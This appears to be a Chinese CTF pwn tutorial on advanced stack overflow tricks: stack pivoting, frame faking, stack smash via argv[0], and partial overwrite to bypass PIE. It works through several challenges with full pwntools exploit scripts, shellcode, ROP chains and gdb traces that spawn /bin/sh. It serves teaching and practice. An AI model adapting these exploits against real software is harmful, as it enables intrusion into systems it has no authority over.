花式栈溢出技巧 stack pivoting 原理 劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。
eip 的值是通过 esp 与 ret 指令压入。退出函数时,先执行 leave ,让 esp 指向 ebp ,然后 esp 加一个机器字长后,执行 ret 指令,将 esp 指向的值压入 eip 中。
可能在以下情况需要使用 stack pivoting
可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用
使用条件 利用 stack pivoting 有以下几个要求
可以控制程序执行流。
可以控制 sp 指针(栈顶指针)。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是
当然,还会有一些其它的姿势。比如说 libc_csu_init 中的 gadgets,我们通过偏移就可以得到控制 rsp 指针。上面的是正常的,下面的是偏移的。
只有是用到了 libc ,编译时 gcc 会将 libc_csu_init 加到程序里。由这个函数也延伸了一种 ROP 技巧:ret2cus
1 2 3 4 5 6 7 8 9 10 11 12 13 14 gef➤ x/7i 0x000000000040061a 0x40061a <__libc_csu_init+90>: pop rbx 0x40061b <__libc_csu_init+91>: pop rbp 0x40061c <__libc_csu_init+92>: pop r12 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret gef➤ x/7i 0x000000000040061d 0x40061d <__libc_csu_init+93>: pop rsp 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret
存在可以控制内容的内存,一般有如下
bss 段。由于进程按页分配内存,分配给 bss 段的内存大小至少一个页 (4k,0x1000) 大小。然而一般 bss 段的内容用不了这么多的空间,并且 bss 段分配的内存页拥有读写权限。
heap。但是这个需要我们能够泄露堆地址。
示例 以 [X-CTF Quals 2016 - b0verfl0w](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w) 为例进行介绍。源程序为 32 位,也没有开启 NX 保护,下面我们来找一下程序的漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 signed int vul () { char s; puts ("\n======================" ); puts ("\nWelcome to X-CTF 2016!" ); puts ("\n======================" ); puts ("What's your name?" ); fflush(stdout ); fgets(&s, 50 , stdin ); printf ("Hello %s." , &s); fflush(stdout ); return 1 ; }
存在栈溢出漏洞。但是其所能溢出的字节就只有 50-0x20-4=14 个字节。
程序本身并没有开启堆栈保护,所以我们可以在栈上布置 shellcode 并执行。基本利用思路如下
利用栈溢出布置 shellcode
控制 eip 指向 shellcode 处
由于程序本身会开启 ASLR 保护,所以我们很难直接知道 shellcode 的地址。但是栈上相对偏移是固定的 ,所以我们可以利用栈溢出对 esp 进行操作,使其指向 shellcode 处,并且直接控制程序跳转至 esp 处。那下面就是找控制程序跳转到 esp 处的 gadgets 了。
1 2 3 4 5 6 7 8 ➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret' Gadgets information ============================================================ 0x08048504 : jmp esp 0x0804836a : ret 0x0804847e : ret 0xeac1 Unique gadgets found: 3
这里我们发现有一个可以直接跳转到 esp 的 gadgets。那么我们可以布置 payload 如下
1 shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp
那么我们 payload 中的最后一部分改如何设置 esp 呢,可以知道
size(shellcode+padding)=0x20
size(fake ebp)=0x4
size(0x08048504)=0x4
所以我们最后一段需要执行的指令就是
所以最后的 exp 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * sh = process('./b0verfl0w') shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode_x86 += "\x0b\xcd\x80" sub_esp_jmp = asm('sub esp, 0x28;jmp esp') jmp_esp = 0x08048504 payload = shellcode_x86 + ( 0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp sh.sendline(payload) sh.interactive()
这里补充一下具体程序过程:
payload 结构如下:
1 shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp
首先就是写入 shellcode 、填充、覆盖 ebp ;
将 eip 覆盖为 jmp esp
;eip 是下一条指令存储寄存器。当程序运行 jmp esp
之后,程序运行指针将从 text 段转移到栈上,将栈上的数据当做代码指令运行。这样操作之后,set esp point to shellcode and jmp esp
这一部分栈数据被当做是代码指令执行了。
sub esp,0x28;jmp esp
;将 esp 调整到 shellcode 的开始,当前 esp 和shellcode 的计算看前面;然后再一次 jmp esp
,将运行指针调整到 shellcode 。
frame faking
也就是栈迁移
原理 概括地讲,我们在之前讲的栈溢出不外乎两种方式
其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下
1 buffer padding|fake ebp|leave ret addr|
即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分
函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。
其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下
1 2 3 4 fake ebp | v ebp2|target function addr|leave ret addr|arg1|arg2
这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。
leave 指令相当于
1 2 mov esp, ebp # 将ebp的值赋给esp pop ebp # 弹出ebp
控制过程 仔细说一下基本的控制过程:
在有栈溢出的程序执行 leave 时,其分为两个步骤
mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。
pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp 便指向了 ebp2,也就是保存了 ebp2 所在的地址。
执行 ret 指令,会再次执行(溢出写入的) leave ret 指令。
执行 leave 指令,其分为两个步骤
mov esp, ebp ,这会将 esp 指向 ebp2。
pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。
执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行
push ebp,会将 ebp2 值压入栈中,
mov ebp, esp,将 ebp 指向当前基地址。
此时的栈结构如下
1 2 3 4 ebp | v ebp2|leave ret addr|arg1|arg2
当程序执行时,其会正常申请空间,同时我们在栈上也安排了该函数对应的参数,所以程序会正常执行。
程序结束后,其又会执行两次 leave ret addr,所以如果我们在 ebp2 处布置好了对应的内容,那么我们就可以一直控制程序的执行流程。
可以看出在 fake frame 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似(通过偏移获取栈上地址)。
例题 2018 安恒杯 over 题目可以在 ctf-challenge 中找到
分析 文件信息 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
64 位动态链接的程序, 没有开 PIE 和 canary 保护, 但开了 NX 保护
漏洞函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); while ( sub_400676() ) ; return 0LL ; } int sub_400676 () { char buf[80 ]; memset (buf, 0 , sizeof (buf)); putchar ('>' ); read(0 , buf, 96uLL ); return puts (buf); }
read 能读入 96 位, 但 buf 的长度只有 80, 因此只能覆盖 rbp 以及 ret addr 来进行 rop 了
思路 当栈溢出长度不够时,可以尝试 frame faking (栈迁移)。这就需要一个能被我们写入、知道地址的内存。这条题目的话,我们只能往栈上写入数据,所以想办法泄露栈地址。
leak stack addr 栈地址每次运行都不一样,需要控制程序来泄露栈地址。这条题目没有开 canary ,然后在 IDA 或者 gdb 分析 sub_400676 的栈结构,发现 buf 覆盖 80 字节之后,就到 rbp 顶,读入的 read 也没有给字符串末尾接上 \x00
的结束符,所以可以将 ebp 的值泄露出来。
ebp 的值是上一个栈的栈顶,泄露之后通过偏移计算得到 buf 写入的栈地址。gdb 调试后,得出偏移为 0x70
1 2 3 4 p.sendafter(">" ,'A' *0x50 ) stack = u64(p.recvuntil("\x7f" )[-6 : ].ljust(8 , '\0' ))-0x70 log.info("stack:" +hex (stack))
leak libc 然后就是构造 ROP 链,因为可控写入是在栈上,所以构造如下:
1 ROP|padding|fake ebp|leave ret addr|
leave ret addr
就用 ROPgadget 找一下:
1 2 3 4 5 6 ~$ ROPgadget --binary over.over --only 'leave|ret' Gadgets information ============================================================ 0x00000000004006be : leave ; ret 0x0000000000400509 : ret 0x00000000004007d0 : ret 0xfffe
fake ebp
填入 buf 的真实地址。
ROP
两个功能:泄露 libc 地址、ret2text。泄露地址就用常规的 puts 函数。
1 2 3 4 5 6 payload = p64(0xdeadbeef ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) payload += p64(sub_addr) payload = payload.ljust(0x50 ,'a' ) payload += p64(stack) payload += p64(leave_ret)
getshell 泄露地址之后就再一次 frame faking ,只不过这次是执行 system("/bin/sh")
。
但是如果 fake ebp 依旧填写原值会报错,大概原因是因为上面 ROP 是直接调用 sub_400676 ,想比正常情况下压栈的数量和原来不一样,所以要重新计算偏移。
fake ebp 使用 ROP1 的值时:
1 2 3 4 5 6 7 8 pwndbg> 0x00000000004006be in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────[ REGISTERS ]───── ………… RBP 0x7fffffffdd50 —▸ 0x7fffffffdd30 ◂— 0x6161616161616161 ('aaaaaaaa') RSP 0x7fffffffdd00 ◂— 0xdeadbeef RIP 0x4006be ◂— leave
可以看到 RBP 经过两次 leave|ret 之后指向的是 aaaaaaaa ,正常应该是指向 0xdeadbeef 。
为了让程序执行正确地方,将 fake ebp 的值减 0x30 ,让 ebp 重新指向 0xdeadbeef :
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x /20gx 0x7fffffffdd30-0x30 0x7fffffffdd00: 0x00000000deadbeef 0x0000000000400793 0x7fffffffdd10: 0x00007ffff7b99d57 0x00007ffff7a52390 0x7fffffffdd20: 0x0000000000400676 0x6161616161616161 0x7fffffffdd30: 0x6161616161616161 0x6161616161616161 0x7fffffffdd40: 0x6161616161616161 0x6161616161616161 0x7fffffffdd50: 0x00007fffffffdd30 0x00000000004006be 0x7fffffffdd60: 0x6161616161616161 0x6161616161616161 0x7fffffffdd70: 0x6161616161616161 0x6161616161616161 0x7fffffffdd80: 0x00007fffffffdd30 0x00000000004006be 0x7fffffffdd90: 0x00007fffffffde88 0x0000000100000000
1 2 3 4 5 payload = p64(0xdeadbeef) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) payload += p64(sub_addr) # ret2text payload = payload.ljust(0x50,'a') # padding payload += p64(stack) payload += p64(leave_ret)
exp system(‘/bin/sh’)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *context.log_level = 'debug' p = process("./over.over" ) elf = ELF("./over.over" ) libc = elf.libc pop_rdi = 0x400793 leave_ret = 0x4006be puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] sub_addr = 0x400676 p.sendafter(">" ,'A' *0x50 ) stack = u64(p.recvuntil("\x7f" )[-6 : ].ljust(8 , '\0' ))-0x70 log.info("stack:" +hex (stack)) payload = p64(0xdeadbeef ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) payload += p64(sub_addr) payload = payload.ljust(0x50 ,'a' ) payload += p64(stack) payload += p64(leave_ret) p.sendafter(">" ,payload) libc_base = u64(p.recvuntil("\x7f" )[-6 : ].ljust(8 , '\0' )) - libc.sym['puts' ] log.success("libc_base:" +hex (libc_base)) system_addr = libc_base + libc.symbols['system' ] log.success("system_addr:" +hex (system_addr)) binsh_addr = libc_base + libc.search('/bin/sh' ).next () log.success("binsh_addr:" +hex (binsh_addr)) payload = p64(0xdeadbeef ) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) payload += p64(sub_addr) payload = payload.ljust(0x50 ,'a' ) payload += p64(stack) payload += p64(leave_ret) gdb.attach(p) p.sendafter(">" ,payload) p.interactive()
execve(“/bin/sh”, 0, 0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *context.binary = "./over.over" def DEBUG (cmd ): raw_input("DEBUG: " ) gdb.attach(io, cmd) io = process("./over.over" ) elf = ELF("./over.over" ) libc = elf.libc io.sendafter(">" , 'a' * 80 ) stack = u64(io.recvuntil("\x7f" )[-6 : ].ljust(8 , '\0' )) - 0x70 success("stack -> {:#x}" .format (stack)) io.sendafter(">" , flat(['11111111' , 0x400793 , elf.got['puts' ], elf.plt['puts' ], 0x400676 , (80 - 40 ) * '1' , stack, 0x4006be ])) libc.address = u64(io.recvuntil("\x7f" )[-6 : ].ljust(8 , '\0' )) - libc.sym['puts' ] success("libc.address -> {:#x}" .format (libc.address)) pop_rdi_ret=0x400793 ''' $ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" 0x00000000000f5279 : pop rdx ; pop rsi ; ret ''' pop_rdx_pop_rsi_ret=libc.address+0xf5279 payload=flat(['22222222' , pop_rdi_ret, next (libc.search("/bin/sh" )),pop_rdx_pop_rsi_ret,p64(0 ),p64(0 ), libc.sym['execve' ], (80 - 7 *8 ) * '2' , stack - 0x30 , 0x4006be ]) io.sendafter(">" , payload) io.interactive()
Stack smash 原理 在程序加了 canary 保护之后,当 canary 值变化后,程序会错误退出并提示错误信息,通常是说 xxx(程序名) 段错误。
stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail
函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下
1 2 3 4 5 6 7 8 9 10 11 void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); }
所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail
函数中就会输出我们想要的信息。
32C3 CTF readme 该题目在 jarvisoj 上有复现。
确定保护 可以看出程序为 64 位,主要开启了 Canary 保护以及 NX 保护,以及 FORTIFY 保护。
1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
分析程序 ida 看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 __int64 sub_4007E0() { __int64 v0; // rax@1 __int64 v1; // rbx@2 int v2; // eax@3 __int64 v4; // [sp+0h] [bp-128h]@1 __int64 v5; // [sp+108h] [bp-20h]@1 v5 = *MK_FP(__FS__, 40LL); __printf_chk(1LL, (__int64)"Hello!\nWhat's your name? "); LODWORD(v0) = _IO_gets((__int64)&v4); if ( !v0 ) LABEL_9: _exit(1); v1 = 0LL; __printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: "); while ( 1 ) { v2 = _IO_getc(stdin); if ( v2 == -1 ) goto LABEL_9; if ( v2 == '\n' ) break; byte_600D20[v1++] = v2; if ( v1 == ' ' ) goto LABEL_8; } memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1)); LABEL_8: puts("Thank you, bye!"); return *MK_FP(__FS__, 40LL) ^ v5; }
_IO_gets((__int64)&v4)
存在栈溢出。
程序中还提示要 overwrite flag。而且发现程序很有意思的在 while 循环之后执行了这条语句
1 memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
又看了看对应地址的内容,可以发现如下内容,说明程序的 flag 就在这里。
1 2 .data:0000000000600D20 ; char aPctfHereSTheFl[] .data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0
但是如果我们直接利用栈溢出输出该地址的内容是不可行的,这是因为我们读入的内容 byte_600D20[v1++] = v2;
也恰恰就是该块内存,这会直接将其覆盖掉,这时候我们就需要利用一个技巧了
在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出 ,可以使用 gdb 的 find 来进行查找。
确定 flag 地址 我们把断点下载 memset 函数(0x400873)处,然后读取相应的内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 pwndbg> b *0x400873 Breakpoint 1 at 0x400873 pwndbg> r Starting program: /home/skye/readme.bin Hello! What's your name? aaaaaaaa Nice to meet you, aaaaaaaa. Please overwrite the flag: bbbbbbbb Breakpoint 1, 0x0000000000400873 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────── RAX 0xa RBX 0x8 RCX 0x7ffff7b04260 (__read_nocancel+7) ◂— cmp rax, -0xfff RDX 0x18 # flag 存放地址 RDI 0x600d28 ◂— 'ServerHasTheFlagHere...' RSI 0x0 R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R10 0x814 R11 0x246 R12 0x4006ee ◂— xor ebp, ebp R13 0x7fffffffdd70 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x4008b0 ◂— push r15 RSP 0x7fffffffdb60 ◂— 'aaaaaaaa' RIP 0x400873 ◂— call 0x400670 ─────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────── ► 0x400873 call memset@plt <0x400670> # flag 存放地址 s: 0x600d28 ◂— 'ServerHasTheFlagHere...' c: 0x0 n: 0x18 0x400878 mov edi, 0x40094e 0x40087d call puts@plt <0x400640> 0x400882 mov rax, qword ptr [rsp + 0x108] 0x40088a xor rax, qword ptr fs:[0x28] 0x400893 jne 0x4008a9 0x400895 add rsp, 0x118 0x40089c pop rbx 0x40089d pop rbp 0x40089e ret 0x40089f mov edi, 1 ──────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────── # name 存放地址 00:0000│ rsp 0x7fffffffdb60 ◂— 'aaaaaaaa' 01:0008│ 0x7fffffffdb68 —▸ 0x7ffff7ffd900 (_rtld_global+2240) ◂— 0x0 02:0010│ 0x7fffffffdb70 —▸ 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 03:0018│ 0x7fffffffdb78 ◂— 0x0 04:0020│ 0x7fffffffdb80 —▸ 0x7ffff7ffea88 —▸ 0x7ffff7ffe9b8 —▸ 0x7ffff7ffe728 —▸ 0x7ffff7ffe700 ◂— ... 05:0028│ 0x7fffffffdb88 —▸ 0x7fffffffdbc0 ◂— 0x2 06:0030│ 0x7fffffffdb90 ◂— 0x380 07:0038│ 0x7fffffffdb98 —▸ 0x7fffffffdbb0 ◂— 0xffffffff
从 18 行或 33 行可以得出 flag 存放地址为:0x600d28 。另外一个 bss 段内的 flag 地址使用 peda find 功能查找,两个 flag 地址分别为: 0x600d28 、0x400d28。
这里需要减去偏移(被 name 覆盖了 0x7 )才能得到完整 flag ,所以两个 flag 地址为:0x600d21 、0x400d21
1 2 3 4 5 6 7 8 9 10 gdb-peda$ find Serv Searching for 'Serv' in: None ranges Found 6 results, display max 6 items: readme.bin : 0x400d28 ("ServerHasTheFlagHere...") readme.bin : 0x600d28 ("ServerHasTheFlagHere...") libc : 0x7ffff7b97641 ("Servname not supported for ai_socktype") libc : 0x7ffff7b9924c ("Server rejected credential") libc : 0x7ffff7b9927f ("Server rejected verifier") libc : 0x7ffff7b994af ("Server can't decode arguments")
确定偏移 下面,我们确定 argv[0] 距离读取的字符串的偏移。
首先下断点在 main 函数入口处,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 gef➤ b *0x00000000004006D0 Breakpoint 1 at 0x4006d0 gef➤ r Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes Breakpoint 1, 0x00000000004006d0 in ?? () code:i386:x86-64 ]──── 0x4006c0 <_IO_gets@plt+0> jmp QWORD PTR [rip+0x20062a] # 0x600cf0 <[email protected] > 0x4006c6 <_IO_gets@plt+6> push 0x9 0x4006cb <_IO_gets@plt+11> jmp 0x400620 → 0x4006d0 sub rsp, 0x8 0x4006d4 mov rdi, QWORD PTR [rip+0x200665] # 0x600d40 <stdout> 0x4006db xor esi, esi 0x4006dd call 0x400660 <setbuf@plt> ──────────────────────────────────────────────────────────────────[ stack ]──── ['0x7fffffffdb78', 'l8'] 8 0x00007fffffffdb78│+0x00: 0x00007ffff7a2d830 → <__libc_start_main+240> mov edi, eax ← $rsp 0x00007fffffffdb80│+0x08: 0x0000000000000000 0x00007fffffffdb88│+0x10: 0x00007fffffffdc58 → 0x00007fffffffe00b → "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/exam[...]" 0x00007fffffffdb90│+0x18: 0x0000000100000000 0x00007fffffffdb98│+0x20: 0x00000000004006d0 → sub rsp, 0x8 0x00007fffffffdba0│+0x28: 0x0000000000000000 0x00007fffffffdba8│+0x30: 0x48c916d3cf726fe3 0x00007fffffffdbb0│+0x38: 0x00000000004006ee → xor ebp, ebp ──────────────────────────────────────────────────────────────[ trace ]──── [# 0] 0x4006d0 → sub rsp, 0x8 [# 1] 0x7ffff7a2d830 → Name: __libc_start_main(main=0x4006d0, argc=0x1, argv=0x7fffffffdc58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdc48) ---Type <return> to continue, or q <return> to quit--- [# 2] 0x400717 → hlt
可以看出 0x00007fffffffe00b 指向程序名,其自然就是 argv[0],所以我们修改的内容就是这个地址。同时 0x00007fffffffdc58 处保留着该地址,所以我们真正需要的是 0x00007fffffffdc58 的值。
argv[0] 读入方式看 16 行,系统到 0x00007fffffffdc58 找到地址,然后取地址的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────── RAX 0x7fffffffdda8 —▸ 0x400d21 ◂— xor al, byte ptr [rbx + 0x33] /* '2C3_TheServerHasTheFlagHere...' */ RBX 0x1 RCX 0x0 RDX 0x7ffff7b9c481 ◂— jae 0x7ffff7b9c4f7 /* 'stack smashing detected' */ RDI 0x1 RSI 0x7ffff7b9c49f ◂— sub ch, byte ptr [rdx] /* '*** %s ***: %s terminated\n' */ …… RBP 0x7ffff7b9c481 ◂— jae 0x7ffff7b9c4f7 /* 'stack smashing detected' */ RSP 0x7fffffffdb60 ◂— 0x4 RIP 0x7ffff7b2614b (__fortify_fail+75) ◂— mov rcx, qword ptr [rax] ──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────── …… 0x7ffff7b26146 <__fortify_fail+70> mov rdx, rbp 0x7ffff7b26149 <__fortify_fail+73> mov edi, ebx ► 0x7ffff7b2614b <__fortify_fail+75> mov rcx, qword ptr [rax] ……
剩下就是找到溢出点写入字符串的栈地址,在[确定 flag 地址](# 确定 flag 地址) 中的第一个调试中的 53 行找到 name 存放地址:0x7fffffffdb60
利用程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.log_level = 'debug' p =process("./readme.bin" ) flag1 = 0x600d21 flag2 = 0x400d21 argv0 = 0x7fffffffdd78 name = 0x7fffffffdb60 payload = 'a' *(argv0-name) payload += p64(flag2) p.recvuntil("name? " ) gdb.attach(p) p.sendline(payload) p.recvuntil("flag: " ) p.sendline("skye" ) data = p.recv() p.interactive()
栈上的 partial overwrite partial overwrite 这种技巧在很多地方都适用, 这里先以栈上的 partial overwrite 为例来介绍这种思想。
我们知道, 在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。
更全面的 PIE 保护绕过看萝卜师傅的:PIE保护详解和常用bypass手段
2018 - 安恒杯 - babypie 以安恒杯 2018 年 7 月月赛的 babypie 为例分析这一种利用技巧, 题目的 binary 放在了 ctf-challenge 中
保护 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
分析程序 明显的栈溢出漏洞, 需要注意的是在输入之前, 程序对栈空间进行了清零, 这样我们就无法通过打印栈上信息来 leak binary 或者 libc 的基址了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 sub_960() { __int128 name; // [rsp+0h] [rbp-30h] __int128 v2; // [rsp+10h] [rbp-20h] unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); name = 0uLL; v2 = 0uLL; puts("Input your Name:"); read(0, &name, 0x30uLL); // 栈溢出 printf("Hello %s:\n", &name, name, v2); read(0, &name, 0x60uLL); // 栈溢出 return 0LL; }
程序有留有后门 sub_A3E 。
思路 泄露 libc 地址的话,就需要将栈上最近的 libc 地址前的 \x00 覆盖掉。而最近的 libc 地址(__libc_start_main+240)需要覆盖 0x58 ,显然溢出长度不够。
所以选择控制 rip 跳转到后门函数。程序开启了 PIE 和 Canary 栈溢出保护,首先是泄露出 canary 值,然后再次栈溢出控制 rip 跳转。
leak canary sub_960 栈结构在 ida 中分析如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 0000000000000030 name xmmword ? -0000000000000020 var_20 xmmword ? -0000000000000010 db ? ; undefined -000000000000000F db ? ; undefined -000000000000000E db ? ; undefined -000000000000000D db ? ; undefined -000000000000000C db ? ; undefined -000000000000000B db ? ; undefined -000000000000000A db ? ; undefined -0000000000000009 db ? ; undefined -0000000000000008 var_8 dq ? +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?)
在第一个输入 name 时,可以写入 0x29 字节,输出名字时会将 canary 也一起输出。
1 2 3 4 5 6 7 payload = 'a' *(0x30 -0x8 +1 ) p.recvuntil("Name:\n" ) p.send(payload) p.recvuntil('a' *(0x30 -0x8 +1 )) canary = u64(p.recv(7 ).rjust(8 ,'\x00' )) log.info("canary:" +hex (canary))
partial overwrite 虽然程序开启了 PIE ,但是由于低 12 位的页内偏移是固定的,也就 ida 中能看到的部分,这条题就是低三位。
后门函数的地址为:0xA3E。由于输入的时候是一个字节,也就是 0x3E 这样输入,但是第 4 个数字是随机的,所以我们需要找一个跳转 text 段 、**第三位是 A **的rip 进行覆盖。
我们写入 name 的函数运行结束后会返回 main 函数,main 函数在 text 段((0x555555554a3e):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pwndbg> 0x0000555555554a3d in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x0 RBX 0x0 RCX 0x0 RDX 0x60 RDI 0x0 RSI 0x7fffffffdc80 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R9 0x3e R10 0x36 R11 0x346 R12 0x555555554830 ◂— xor ebp, ebp R13 0x7fffffffddb0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0xdeadbeef RSP 0x7fffffffdcb8 —▸ 0x555555554a3e ◂— push rbp RIP 0x555555554a3d ◂— ret ───────────────────────────────────[ DISASM ]─────────────────────────────────── 0x555555554a23 mov eax, 0 0x555555554a28 mov rcx, qword ptr [rbp - 8] 0x555555554a2c xor rcx, qword ptr fs:[0x28] 0x555555554a35 je 0x555555554a3c ↓ 0x555555554a3c leave
所以在第二次输入 name 时溢出覆盖 rip 最后一个字节:
1 2 3 4 payload = 'a' *(0x30 -0x8 ) payload += p64(canary) payload += p64(0xdeadbeef ) payload += '\x3e'
利用程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context.log_level = 'debug' p = process("./babypie" ) elf = ELF("./babypie" ) getshell = 0xA3E payload = 'a' *(0x30 -0x8 +1 ) p.recvuntil("Name:\n" ) p.send(payload) p.recvuntil('a' *(0x30 -0x8 +1 )) canary = u64(p.recv(7 ).rjust(8 ,'\x00' )) log.info("canary:" +hex (canary)) payload = 'a' *(0x30 -0x8 ) payload += p64(canary) payload += p64(0xdeadbeef ) payload += '\x3e' p.recvuntil(":\n" ) gdb.attach(p) p.send(payload) p.interactive()